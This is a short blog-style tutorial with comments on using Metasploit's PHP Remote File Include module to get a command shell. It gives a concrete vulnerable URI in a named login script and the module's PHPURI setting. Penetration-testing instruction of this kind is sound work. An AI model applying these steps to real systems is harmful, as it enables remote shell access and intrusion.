Using the Metasploit PHP Remote File Include Module

Metasploit has a nifty PHP Remote File Include module that allows you to get a command shell from a RFI.

Not too complicated to use, set your normal RHOST/RPORT options, set the PATH and set your PHPURI with the vuln path and put XXpathXX where you would normally your php shell. So we take something like Simple Text-File Login Remote File Include that has a vulnerable string of:

/[path]/slogin_lib.inc.php?slogin_path=[remote_txt_shell]
and make your PHPURI
PHPURI /slogin_lib.inc.php?slogin_path=XXpathXX
let's see it in action

Knew there was a nicer way to do that then going through the pain of manually generating the exploit, throwing it on a server, and starting the payload handler, but I couldn't remember where it was at. That had been bothering me. Thanks!

I didn't see anything in the options for setting cookies so looks like this is for unauthenticated vectors only.

I hope this gets added.
